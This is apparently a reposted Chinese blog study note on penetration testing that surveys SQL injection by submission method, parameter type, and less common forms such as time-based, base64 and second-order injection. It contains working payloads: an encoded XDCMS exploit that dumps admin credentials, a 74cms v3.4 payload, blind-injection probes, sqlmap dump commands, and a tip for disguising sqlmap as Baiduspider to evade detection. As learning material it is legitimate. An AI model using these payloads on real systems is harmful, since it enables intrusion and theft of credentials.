zoukankan      html  css  js  c++  java
  • 渗透测试学习 十一、 其他注入漏洞汇总

    大纲:提交方式注入  参数型注入  其他注入

    提交方式注入

      常见的提交方式:

      GET:大多数,正常的浏览,以URL的方式进行传参,不安全,明文传输,存在长度限制。xx.com/x.php?id=1

      POST:一般在登录页面,参数在数据包中,不在URL中传输,相对比较安全

      COOKIE:本地登录凭证

      HEAD:头部信息

      PUT  OPTION  

      服务器端接收数据的方式:

      GET  只接受get型的传参

      POST  只接受post型的传参

      REQUEST  get,post,cookie方式都接受

      GET注入

        get注入比较常见

        e.g  www.xx.com/news.php?id=11

        检测:加个 / 报错  -0 正常 --->存在注入

        加 '  SQL语句显错注入  或   %bf'  宽字节绕过

      POST注入

        post提交方式主要适用于表单的提交,注册用户,登录账号,留言,修改账号,修改个人资料,上传文件,搜索框

        用于登录框的注入

        e.g  www.xxx.com/admin.php

        可以在用户注册的时候,在用户名后面加上 ' 会报错,存在注入,将bp抓的包存储成txt文件,用sqlmap跑包,如果在注册的时候,网页对 ' 过滤,可以在bp抓包,将username的后面加上5bf,绕过过滤

        工具:穿山甲、sqlmap

      XDCMS全版本存在SQL注入漏洞

      需要使用代理抓包改包完成

      sql exp

       %60%3D%28select%20group_concat%28username%2C0x3a%2cpassword%29%20from%20c_admin%20where%20id%3D1%29%23

      将这段exp放在5D%的前面(测表单的名称)

      COOKIE注入

        cookie提交用于账号密码的cookie缓存,还可以通过cookie注入来突破简单的防注入系统

        sqlmap.py -u "" --cookie "id=30" --level 2

        前提:服务器接收cookie型的传参

        如果是get型的传参方式,再试试post型的传参,如果能传递成功,说明cookie也是可以的。

        也可以bp抓包,修改cookie.......;id=30

        再用sqlmap跑包

    参数型注入

      数字类型注入  字符类型注入  搜索类型注入  

      数字型注入

        www.xxx.com/news.asp?id=1

        select *from news where id=11

        www.xxx.com/news.asp?id=11 and 1=1

        select * from news where id=11 and 1=1

      字符型注入

        www.xx.com/news.asp?id=你好' and 1=1 #

        select * from news where id="你好' and 1=1 #'

        www.xx.com/news.asp?id=你好' and 1=1'

        select * from news where id='你好' and 1=1'

      搜索型修注入

        like 像

        通配符 *

        SQL通配符%%

        select * from news where id="'%like $id%"

        http://www.xx.com/search.asp?Field=Title&BigClassName=&SmallClassName=&Keyworld=123&Submit=%CB%D1%CB%F7

        参数:keyword=123

        '%%' and 1=2 and '%'='%'

        可以直接bp抓包,存为txt,用sqlmap跑包

        网站是通过useragent:sql.org检测sqlmap攻击的

        绕过方法,在安装路径下,lib文件夹中,core文件中的option.py文件的地1425行左右,改为百度的爬行蜘蛛

        return "User-Agent: Mozilla/5.0 (compatible; Baiduspider/2.0; +http://www.baidu.com/search/apilder.html)"

        手工注入:

        2%'and(select count(*)from mssysaccessobjects)>0 and '%'='  //返回正常,access数据库

        2%'and(select count(*)from admin_user)>0 and '%'='  //返回正常,存在admin_user表

        2%'and(select count(username)from admin_user)>0 and '%'='  //返回正常,存在username字段

        2%'and(select count(password)from admin_user)>0 and '%'='  //返回正常,存在password字段

        2%'and(select top 1 len(admin)from admin_user)>4 and '%'='  //返回正常,username长度大于4

        用sqlmap

        先抓包,保存为txt    

        sqlmap.py -r 1.txt --tables  表名

        sqlmap.py -r 1.txt --columns -T "admin"  列名

        sqlmap.py -r 1.txt -C "admin,password" -T "manager" --dump -v 2  内容

    其他注入

      伪静态注入  延迟注入  base64注入  二阶注入  

      phpv9 authkey注入  http头注入  XML实体注入  APP注入挖掘

      伪静态注入

        例如:  

        http://xx.com.cn/

        http://xx.com.cn/indes.php/Index/Ndetails/class/news/html/mocing/id/1131.html

        检测方法:

        http://xx.com.cn/indes.php/Index/Ndetails/class/news/html/mocing/id/1131  返回正常

        http://xx.com.cn/indes.php/Index/Ndetails/class/news/html/mocing/id/1131'.html  报错

        http://xx.com.cn/indes.php/Index/Ndetails/class/news/html/mocing/id/1131/.html  报错

        http://xx.com.cn/indes.php/Index/Ndetails/class/news/html/mocing/id/1131-0.html  报错

        在用sqlmap跑的时候sqlmap检测不不到注入点时,如下

        http://xx.com.cn/indes.php/Index/Ndetails/class/news/html/mocing/id/1131*.html

        通常存在于aspcms、phpweb、thinkphp等框架网站

        自己伪造伪静态

        例如:

        xx.com/x_deitl_id_123.html

        对比如下:

        xx.com/x/deitl.php?id=123

      延迟注入

        是一种条件判断,通过时间判断,仅仅是判断,无法上传shell

        延迟注入是通过也免得返回时间长度来判断的,不同的MySQL数据库版本,延迟注入的语句不一样

        MySQL>=5.0的可以用sleep()进行查询

        MySQL<5.0的可以用benchmark()进行查询

        benchmark用法:

        benchmark(n,sql语句)  n为查询次数

        通过查询洗漱的增多,时间变得缓慢来判断是否存在注入

        select benchmark(1000.select * from admin);

        sleep()延迟注入用法

        sleep可以强制产生一个固定的延迟

        sleep()延迟注入的核心原理

          and if(true,sleep(5),0)==IF(1=1,true,false);

        ?id=1 and sleep(5)  判断是否存在延迟注入

        and if(substring(user(),1,4)='root',sleep(5),1)  判断当前用户

        and if(MID(version(),1,1) LIKE 5, sleep(5),1)  判断数据库版本信息是否为5,可以猜解他的数据库名称

        and if(ascii(substring(database(),1,4))>100,sleep(4),1)

        sqlmap.py --time-sec=2  延迟注入

      base64编码注入

        解码

        构造语句

        编码

        $id=base64_decode($id);

        用插件  --tamper=base64encode.py

      二阶注入

      (一般是在白盒测试中进行,需要代码审计)

      sql注入一般分为两种,一阶注入(普通的sql注入)和二阶注入

      一阶注入是发生在一个HTTP请求和响应中,系统堆攻击数据立即反应执行

      一阶注入的攻击过程归纳如下:

        1、攻击者在http请求中提交恶意的sql语句

        2、应用处理恶意的输入,使用恶意的输入动态构建SQL语句

        3、如果攻击实现,在响应中向攻击者返回结果

      二阶注入,作为SQL注入的一种,不同于普通的SQL注入,恶意代码被注入到web应用中不会立即执行,而是存储在后端数据库中,在处理另一个不同的请求时,应用检索到数据库中的恶意输入并利用他动态构建SQL语句,实现攻击。

      二阶注入攻击过程归纳如下:

        1、攻击者在一个HTTP请求中提交恶意输入

        2、用于将恶意输入保存在数据库中

        3、攻击者提交第二个HTTP请求

        4、为处理第二个HTTP请求,应用检索存储在数据库中的恶意输入,动态构建SQL语句

        5、如果攻击实现,在第二个请求的响应中就会返回结果

      一般攻击利用是两种方式

        攻击存储  注入攻击

      74cms人才系统v3.4简历填写中存在注入  aa','fullname'=user()#

    实现过程如下:

    在网站上搜74cms v3.4的源码,直接放在PHPstudy的www路径下,地址栏中输入127.0.0.1回车,做一番数据库配置就好了

    点击填写简历

    先注册一个账户

    然后创建简历,前面的信息都可以随便填,只要符合格式就好

    需要注意的下面一步,这一步中学校名称里面存在二阶注入漏洞,输入我们的测试语句 aa',`fullname`=user()# ,保存提交

    此时信息录制成功

     此时我们点击预览简历,就可以发现已经将查询结果返回了

     

     

     2019-05-05  20:17:46

  • 相关阅读:
    python 执行sql得到字典格式数据
    python爬虫 url链接编码成gbk2312格式
    windows环境下elasticsearch安装教程(单节点)
    python SQLServer 存储图片
    爬虫的本质是和分布式爬虫的关系
    requests form data 请求 爬虫
    mysql 删除 binlog 日志文件
    查看mysql数据表的大小
    xshell 连接报错 Disconnected from remote host
    centos 7.3 安装 mysqldb 报错 EnvironmentError: mysql_config not found ERROR: Command errored out with exit status 1: python setup.py egg_info Check the logs for full command output.
  • 原文地址:https://www.cnblogs.com/Yuuki-/p/10815490.html
Copyright © 2011-2022 走看看